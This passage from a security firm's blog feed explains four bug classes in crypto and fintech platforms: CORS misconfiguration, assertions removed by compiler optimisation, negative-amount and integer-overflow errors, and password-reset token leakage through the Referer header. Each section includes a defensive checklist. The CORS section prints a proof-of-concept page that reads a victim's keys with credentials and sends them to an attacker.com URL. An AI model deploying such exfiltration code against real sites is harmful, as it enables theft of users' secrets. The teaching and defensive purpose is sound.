  &lt;p&gt;&lt;strong&gt;Breaking Crypto Currency Systems != Breaking Crypto&lt;/strong&gt; (at least not always)&lt;/p&gt;

  &lt;p&gt;For that, you would probably need to wait for &lt;a href=&quot;https://www.blackhat.com/us-19/briefings/schedule/#lessons-from-two-years-of-crypto-audits-14738&quot;&gt;Jean-Philippe Aumasson’s talk&lt;/a&gt; at the upcoming BlackHat Vegas.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This blog post was brought to you by &lt;a href=&quot;https://twitter.com/ggisx&quot;&gt;Kevin Joensen&lt;/a&gt; and Mateusz Swidniak.&lt;/p&gt;

&lt;h2 id=&quot;1-cors-misconfigurations&quot;&gt;1) CORS Misconfigurations&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&quot;&gt;Cross-Origin Resource Sharing&lt;/a&gt; is used for relaxing the Same Origin Policy. This mechanism enables communication between websites hosted on different domains. A misconfigured CORS can have a great impact on the website security posture as other sites might access the page content.&lt;/p&gt;

&lt;p&gt;Imagine a website with the following HTTP response headers:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If an attacker has successfully lured a victim to their website, they can easily issue an HTTP request with a &lt;em&gt;null&lt;/em&gt; origin using an &lt;em&gt;iframe&lt;/em&gt; tag and a &lt;em&gt;sandbox&lt;/em&gt; attribute.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;sandbox=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;allow-scripts&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://attacker.com/corsbug&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://bitcoinbank/keys&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;withCredentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://attacker.com/?dump=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;responseText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When the victim visits the crafted page, the attacker can perform a request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://bitcoinbank/keys&lt;/code&gt; and retrieve their secret keys.&lt;/p&gt;

&lt;p&gt;This can also happen when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin&lt;/code&gt; response header is dynamically updated to the same domain as specified by the &lt;em&gt;Origin&lt;/em&gt; request header.&lt;/p&gt;

&lt;h4 id=&quot;references&quot;&gt;References:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties&quot;&gt;https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/&quot;&gt;https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;checklist&quot;&gt;Checklist:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Ensure that your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin&lt;/code&gt; is never set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Ensure that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin&lt;/code&gt; is not taken from a user-controlled variable or header&lt;/li&gt;
  &lt;li&gt;Ensure that you are not dynamically copying the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Origin&lt;/code&gt; HTTP header into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;2-asserts-and-compilers&quot;&gt;2) Asserts and Compilers&lt;/h2&gt;

&lt;p&gt;In some programming languages, optimizations performed by the compiler can have undesirable results. This could manifest in many different quirks due to specific compiler or language behaviors, however there is a specific class of idiosyncrasies that can have devastating effects.&lt;/p&gt;

&lt;p&gt;Let’s consider this Python code as an example:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# All deposits should belong to the same CRYPTO address
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deposit_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;deposits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At first sight, there is nothing wrong with this code. Yet, there is actually a quite severe bug. The problem is that Python runs with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__debug__&lt;/code&gt; by default. This allows for assert statements like the security control illustrated above. When the code gets compiled to optimized byte code (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.pyo files&lt;/code&gt;) and lands into production, all asserts are gone. As a result, the application will not enforce any security checks.&lt;/p&gt;

&lt;p&gt;Similar behaviors exist in many languages and with different compiler options, including &lt;em&gt;C/C++&lt;/em&gt;, &lt;em&gt;Swift&lt;/em&gt;, &lt;em&gt;Closure&lt;/em&gt; and many more.&lt;/p&gt;

&lt;p&gt;For example, let’s consider the following &lt;em&gt;Swift&lt;/em&gt; code:&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// No assert if password is == mysecret&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;mysecretpw&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;nf&quot;&gt;assertionFailure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Password not correct!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you were to run this code in Xcode, then it would simply hit your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assertionFailure&lt;/code&gt; in case of an incorrect password. This is because Xcode compiles the application without any optimizations using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-Onone&lt;/code&gt; flag. If you were to build the same code for the Apple Store instead, the check would be optimized out leading to no password check at all since the execution will continue. Note that there are many things wrong in those three lines of code.&lt;/p&gt;

&lt;p&gt;Talking about assertions, &lt;em&gt;PHP&lt;/em&gt; takes the first place and de-facto facilitates RCE when you run &lt;a href=&quot;https://wiki.php.net/rfc/deprecations_php_7_2#assert_with_string_argument&quot;&gt;asserts with a string argument&lt;/a&gt;. This is due to the argument getting evaluated through the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;references-1&quot;&gt;References:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/@alecoconnor/asserts-in-swift-and-why-you-should-be-using-them-6a7c96eaec10&quot;&gt;https://medium.com/@alecoconnor/asserts-in-swift-and-why-you-should-be-using-them-6a7c96eaec10&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.openstack.org/bandit/latest/plugins/b101_assert_used.html&quot;&gt;https://docs.openstack.org/bandit/latest/plugins/b101_assert_used.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.php.net/rfc/deprecations_php_7_2#assert_with_string_argument&quot;&gt;https://wiki.php.net/rfc/deprecations_php_7_2#assert_with_string_argument&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;checklist-1&quot;&gt;Checklist:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Do not use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assert&lt;/code&gt; statements for guarding code and enforcing security checks&lt;/li&gt;
  &lt;li&gt;Research for compiler optimizations gotchas in the language you use&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;3-arithmetic-errors&quot;&gt;3) Arithmetic Errors&lt;/h2&gt;

&lt;p&gt;A bug class that is also easy to overlook in fin-tech systems pertains to arithmetic operations. Negative numbers and overflows can create money out of thin air.&lt;/p&gt;

&lt;p&gt;For example, let’s consider a withdrawal function that looks for the amount of money in a certain wallet. Being able to pass a negative number could be abused to generate money for that account.&lt;/p&gt;

&lt;p&gt;Imagine the following example code:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;amount&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;error_dict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet_balance&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Withdrawal exceeds available balance&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;    
&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;amount&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if&lt;/code&gt; statement correctly checks if the balance is higher than the requested amount. However, the code does not enforce the use of a positive number.&lt;/p&gt;

&lt;p&gt;Let’s try with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-100&lt;/code&gt; coins in a wallet account having &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;200&lt;/code&gt; coins.&lt;/p&gt;

&lt;p&gt;The check would be satisfied and the code responsible for updating the amount would look like the following:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;wallet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 300 coins
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This would enable an attacker to get free money out of the system.&lt;/p&gt;

&lt;p&gt;Talking about numbers and arithmetic, there are also well-known bugs affecting lower-level languages in which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signed&lt;/code&gt; vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsigned&lt;/code&gt; types come to play.&lt;/p&gt;

&lt;p&gt;In most architectures, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signed&lt;/code&gt; short integer is a &lt;em&gt;2 bytes&lt;/em&gt; type that can hold a negative number and a positive number. 
In memory, positive numbers are represented as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 == 0x0001&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2 == 0x0002&lt;/code&gt; and so forth. Instead, negative numbers are represented as two’s complement &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-1 == 0xffff&lt;/code&gt;,&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-2 == 0xfffe&lt;/code&gt; and so forth.
These representations meet on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7fff&lt;/code&gt;, which enables a signed integer to hold a value between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-32768&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;32767&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s take a look at an example with pseudo-code:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;signed&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bank_account&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Assuming the system still allows withdrawals (e.g. perhaps a loan), the following code will be exercised:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;withdraw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;signed&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;money&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bank_account&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;money&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we know, the max negative value is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-32768&lt;/code&gt;. What happens if a user withdraws &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2768 + 1&lt;/code&gt; ?&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;withdraw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2769&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//32767&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yes! No longer in debt thanks to integer wrapping. Current balance is now &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;32767&lt;/code&gt;.&lt;/p&gt;

&lt;h4 id=&quot;references-2&quot;&gt;References:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.feabhas.com/2014/10/vulnerabilities-in-c-when-integers-go-bad/&quot;&gt;https://blog.feabhas.com/2014/10/vulnerabilities-in-c-when-integers-go-bad/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp/language/types&quot;&gt;https://en.cppreference.com/w/cpp/language/types&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gcc.gnu.org/ml/gcc-help/2011-07/msg00219.html&quot;&gt;https://gcc.gnu.org/ml/gcc-help/2011-07/msg00219.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;checklist-2&quot;&gt;Checklist:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Verify that the transaction systems and other components dealing with financial arithmetic do not accept negative numbers&lt;/li&gt;
  &lt;li&gt;Verify integer boundaries, and whether correct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;signed&lt;/code&gt; vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsigned&lt;/code&gt; types are used across the entire codebase. Note that the signed integer overflow is considered &lt;em&gt;undefined behavior&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;4-password-reset-token-leakage-via-referer&quot;&gt;4) Password Reset Token Leakage Via Referer&lt;/h2&gt;

&lt;p&gt;Last but not least, we would like to introduce a simple infoleak bug. This is a very widespread issue present in the password reset mechanism of many web platforms.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/passwordreset.png&quot; alt=&quot;Vulnerability Impact&quot; align=&quot;center&quot; width=&quot;400&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A standard procedure for a password reset in modern web applications involves the use of a &lt;em&gt;secret&lt;/em&gt; link sent out to the user via email. The secret is used as an authentication token to prove that the recipient had access to the email associated with the user’s registration.&lt;/p&gt;

&lt;p&gt;Those links typically take the form of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com/passwordreset/2a8c5d7e-5c2c-4ea6-9894-b18436ea5320&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com/passwordreset?token=2a8c5d7e-5c2c-4ea6-9894-b18436ea5320&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But what actually happens when the user clicks the link?&lt;/p&gt;

&lt;p&gt;When a web browser requests a resource, it typically adds an HTTP header, called the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Referer&lt;/code&gt; header indicating the URL of the resource from which the request originated. If the resource being requested resides on a different domain, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Referer&lt;/code&gt; header is still generally included in the cross-domain request. It is not uncommon that the password reset page loads external JavaScript resources such as libraries and tracking code. Under those circumstances, the password reset token will be also sent to the 3rd-party domains.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /libs/jquery.js HTTP/1.1
Host: 3rdpartyexampledomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Referer: https://example.com/passwordreset/2a8c5d7e-5c2c-4ea6-9894-b18436ea5320
Connection: close
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As a result, personnel working for the affected 3rd-party domains and having access to the web server access logs might be able to take over accounts of the vulnerable web platform.&lt;/p&gt;

&lt;h4 id=&quot;references-3&quot;&gt;References:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/kb/issues/00500400_cross-domain-referer-leakage&quot;&gt;https://portswigger.net/kb/issues/00500400_cross-domain-referer-leakage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thoughtbot.com/blog/is-your-site-leaking-password-reset-links&quot;&gt;https://thoughtbot.com/blog/is-your-site-leaking-password-reset-links&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;checklist-3&quot;&gt;Checklist:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;If possible, applications should never transmit any sensitive information within the URL query string&lt;/li&gt;
  &lt;li&gt;In case of password reset links, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Referer&lt;/code&gt; header should always be removed using one of the following techniques:
    &lt;ul&gt;
      &lt;li&gt;Blank landing page under the web platform domain, followed by a redirect&lt;/li&gt;
      &lt;li&gt;Originate the navigation from a pseudo-URL document, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data:&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;iframe src=about:blank&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;Setting an appropriate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Referrer-Policy&lt;/code&gt; header, assuming your application supports recent browsers only&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you would like to talk about securing your platform, contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt;!&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Jackson gadgets - Anatomy of a vulnerability</title>
   <link href="https://blog.doyensec.com/2019/07/22/jackson-gadgets.html"/>
   <updated>2019-07-22T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2019/07/22/jackson-gadgets</id>
   <content type="html">&lt;h2 id=&quot;jackson-cve-2019-12384-anatomy-of-a-vulnerability-class&quot;&gt;Jackson CVE-2019-12384: anatomy of a vulnerability class&lt;/h2&gt;

&lt;p&gt;During one of our engagements, we analyzed an application which used the
&lt;a href=&quot;https://github.com/FasterXML/jackson&quot;&gt;Jackson&lt;/a&gt; library for deserializing JSONs.
In that context, we have identified a deserialization vulnerability where we could control
